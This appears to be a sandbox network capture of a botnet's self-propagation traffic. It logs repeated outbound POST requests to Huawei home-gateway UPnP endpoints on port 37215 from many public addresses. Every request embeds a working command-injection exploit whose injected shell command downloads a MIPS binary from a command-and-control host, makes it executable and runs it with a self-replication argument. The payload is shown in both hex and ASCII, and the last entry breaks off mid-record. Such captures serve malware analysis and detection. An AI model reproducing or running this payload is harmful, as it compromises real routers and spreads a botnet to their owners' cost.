Oct 8, 2024 20:34:51.548621893 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.14	55188	197.181.201.71	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:51.549264908 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.14	53274	197.49.62.7	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:51.549901962 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.14	33468	197.206.88.239	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:51.550553083 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.14	55884	41.243.83.13	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:51.551275969 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.14	36092	41.146.184.33	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:52.517302990 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.14	35124	41.210.137.100	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:52.518511057 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.14	43554	156.110.224.192	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:52.519387960 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.14	47370	156.22.71.139	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:52.520704031 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.14	51278	41.201.10.202	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:52.521554947 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.14	57476	197.130.245.62	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:52.522775888 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 